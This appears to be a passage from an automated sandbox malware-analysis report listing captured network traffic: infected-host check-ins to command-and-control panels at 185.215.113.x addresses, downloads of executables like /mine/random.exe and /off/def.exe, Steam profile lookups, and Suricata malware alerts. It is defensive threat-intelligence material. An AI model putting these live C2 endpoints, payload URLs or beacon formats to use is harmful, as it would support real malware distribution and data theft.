Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 2d 2d 0d 0a Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="build"doma------JDHIEBFHCAKEHIDGHCBA--

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49930 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49837 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49990 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49993 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49995 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49995 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50039 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50095 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
